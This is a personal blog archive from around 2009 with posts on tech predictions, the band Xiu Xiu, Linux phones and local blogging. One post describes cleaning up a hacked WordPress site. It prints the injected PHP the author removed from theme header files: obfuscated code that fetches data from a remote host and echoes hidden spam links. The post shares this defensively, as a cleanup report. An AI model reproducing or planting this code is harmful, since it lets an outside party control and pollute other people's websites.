Tech Services Industries Areas to Watch (Pre-July 2009)

The following is a bunch of predictions.  Mark my words.  Three areas to pull out your wallet for.

  • Personal Web Hosting/Cloud/Sync/Backup Services – I’m not sure what to call this space that I think we’ll be seeing a lot of.  I don’t believe that these kinds of services will be bundled with mobile accounts anytime soon, but that’s clearly what will happen. The definition is this: Add-On ISP-like services that make mobile and desktop apps work together more effectively.  This would include backup services and services that bridge gaps across the various hardware networks we use.
  • Genealogy – The Baby Boomers love this stuff, and actually so do humans in general.  Who doesn’t want to know their own family history?  And with DNA analysis becoming more and more standardized, I think that Social-Media-Driven Genealogical Information will probably be mashed together with known hereditary data to create really compelling information services for average people.  The word “Rich” comes to mind but that’s really in the hands of designers and visionaries.  Imagine what’s going to happen in this space.  It blows my mind.
  • Library Sciences Related Anything – The so-called “Public Library” is probably about to explode into something much more tangled with our daily lives.  I believe that tax-funded Public Libraries are increasingly getting closer to being able to easily use cutting edge Information Technology to serve the public.  The abolition of hard-copy card catalogs went slowly.  But we’re in the age of Moore’s Law. It’s no stretch of the imagination that soon there will be title-to-isbn translators that cross language barriers and so on… But that’s just the beginning.  Imagine the Public Library as place that has cached, categorized databases from all sorts of sources, and Librarians as people helping you to mash data together (while you’re still at home in your underwear or on a train heading to work) …This idea is so hard to see for some people. I could go on for pages about the possibilities.  And for you asshole cynics, remember: Facts Cannot Be Copyrighted. “(b) In no case does copyright protection for an original work of authorship extend to any idea, procedure, process, system, method of operation, concept, principle, or discovery, regardless of the form in which it is described, explained, illustrated, or embodied in such work.” …Libraries are worth so much to us as people.  And when they merge into a global archive of ‘verified’ sources, we’ll really start to see the Web’s potential.

Xiu Xiu – The Most Innovative Rock Artist Right Now…

On par with Radiohead and Bjork, Xiu Xiu is an amazing project.

I had a hard time with it at first. Remember when you were a kid and didn’t like onions? or coffee? Xiu Xiu is a savory experience.

I borrowed all of Xiu Xiu’s albums from friends.  It’s definitely going to inform my own art.

Production-wise, Xiu Xiu is some of the most interesting stuff I’ve heard that isn’t clearly “avant garde.”

Just google it.  Great music vids on YOuTube too.

wp_remote_fopen WordPress Attack Makes Site SLOW

Thanks to SomewwhereVille for helping me diagnose… Here’s what I removed from header.php (in all the installed themes, not just the active one):

 

<?php /* wp_remote_fopen procedure */ $wp_remote_fopen=’aHR0cDovL3F3ZXRyby5jb20vc3Mv’; $opt_id=’62f751b6518fcbe2ab5980b9f1349902′; $blarr=get_option(‘cache_vars’); if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).$opt_id.’.md5′))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).$opt_id.’.txt’)); update_option(‘cache_vars’,$blarr); } $blarr=unserialize(base64_decode(get_option(‘cache_vars’))); if($blarr[‘hide_text’]!=” && sizeof($blarr[‘links’])>0){ if($blarr[‘random’]){ $new=”; foreach(array_rand($blarr[‘links’],sizeof($blarr[‘links’])) as $k) $new[$k]=$blarr[‘links’][$k]; $blarr[‘links’]=$new; } $txt_out=”; foreach($blarr[‘links’] as $k=>$v) $txt_out.='<a href=”‘.$v.'”>’.$k.'</a>’; echo str_replace(‘[LINKS]’,$txt_out,$blarr[‘hide_text’]); } /* wp_remote_fopen procedure */ ?>

After removing this crap, I recommend installing WP Security Scan. It’s a pretty badass little plugin that walks you through doing some not-so-obvious things to protect WP from attacks.  For instance, if your hosting scenario allows, you can rename all your Database Tables to have a Prefix other than “wp_”

Who knew that was the thing to do?  I didn’t.  It also scans your WP install for risky file permissions and weak passwords and a few other things.

 

Unfortunately for me, I was working on a site hosted by AN Hosting which doesn’t allow a certain priviledges to DataBase users (Alter?), so I had to change our table prefixes manually.

 

WP Security Scan, after failing to rename the table prefixes because it didn’t have sufficient access, referred me to a nice little tutorial on how to do it manually

 

Basically you:

  1. download your database thru PHPMyAdmin as per WordPress.org’s Documentation
  2. do a “Find-And-Replace” replacing all instances of “wp_” with “somethingelse_” 
  3. make a new database and import your “somethingelse_” version to the new database.
  4. Change your wp-config.php file to point at the new database 
  5. Change your wp-config.php file’s “table prefix” line from “$table_prefix  = ‘wp_’ ” to “$table_prefix  = ‘somethingelse_’

These kinds of problems suck to have but it sure is nice to have the WordPress Community, all of us working together to combat the evil.

Linux Phones and Carrier Wars: iPhone, G1 and Palm Pre

In Response To: gdgt roundtable – Palm Pre (gdgt is currently hiding their permalinks so… sorry)

Some things to consider…

With the G1 on T-Mobile and the Pre on Sprint, I think both carriers now have something comparable to what AT&T offers its subscribers with the iPhone. Verizon has the Blackberry Storm too, but I’m not really going to talk about Blackberry accept for saying that they had better step it up.

The problem with Sprint is its underdog status… But more importantly, many people are locked into their carriers because of coverage issues Etc.  When I lived in NYC, Sprint was awesome.  Here in the boonies outside of Sebastopol, CA, AT&T is the only choice for reliable service.

The G1 runs Android, a Linux distro that Google is promoting.  The Palm Pre runs WebOS, a Linux Distro thaty Palm is promoting.  The iPhone runs some sort of bastard version of OSX which is a version of Unix (a proprietary version of Linux basically).

One of the main attractions of the iPhone is the availability of add-on apps.

I wonder which systems(s) will prevail once all of these devices are available on all carriers.  

The best apps will probably be available on all three systems with development for the Linux-based ones probably being easier and cheaper than for than Apple OS, since it’s proprietary.

Another thing that doesn’t seem to be addressed by the good folks at gdgt or anywhere else:

Unlike other mobile OS’s or basically anything we’ve ever seen before in mainstream computing, Linux itself is an Open-Source project. Linux distros are community-driven.  They are inherently democratic in their evolution.  For this reason, I don’t think Android and WebOS are competitors. I think they are both contributions to Linux that we should thank Palm and Google for.  And there’s no reason in my opinion that Android can’t look like WebOS and vice versa.  Perhaps the best of Android and the best of WebOS will come together in the coming years.

Also, I have to say that I don’t believe there’s any sustainable reason for UI design standards to be different from system to system or from OS to Web.  At the end of day, WebOS is one of the smartest things ever, given that it’s based on HTML, CSS and Javascript.  Add Flash and Silverlight (or whatever) and there’s very little you can’t do, while your development efforts scale across OS’s… I think this kind of change is inevitable as we move toward a cloud computing world.  I’m glad to see someone stepping up to make it happen.  Good job, Palm.

Hyper-Local? How About Just Local At All?

There’s a whole other rant in my intellectual intestines about why Twitter, as a centralized service for MicroBlogging,  is not the answer to many problems.  Hyper-Local keeps coming up.  What a nice idea.  Maybe truly Hyper-Local media will emerge via GPS-Enabled applications in the next year or three.  The fact that cameras are increasingly including geo-tags in images makes me optimistic about this idea.  That and of course the approach ubiquitous GPS-enabled phones Etc.  OK.  Great.  Maybe people will start geo-tagging tweets and the whole world will become a giant fail whale.  More on why I don’t think Twitter is the answer soon.  Let me not get side-tracked if I haven’t already.

“Hyper-Local”

Let’s not be confused.  There’s nothing Hyper about Regular-Local.  Here’s my idea.  bloggers in areas that aren’t SF, Boston or NYC need to organize.  Hosting is practically free. Search still sucks.  People need aggregation to consume local and otherwise niche content effectively.

I live in Sebastopol, CA 95472

Is there a hub for finding information pertaining to my region besides craigslist and regular old sucky search?

No.

Why not?  

Because we haven’t built one.

So what now?  

Let’s build a blog.  Let’s find local bloggers and get their permission to aggregate specific “Regular-Local” content.  I’m willing to donate my labor setting it all up, and as an “Editor,” by which I mean, a person that looks out for poisonous content like spam or extreme view-points that threaten the broader appeal of our collective efforts.  I imagine we’d set up a manifesto for what our collective values are.

Anyone interested?

 

 

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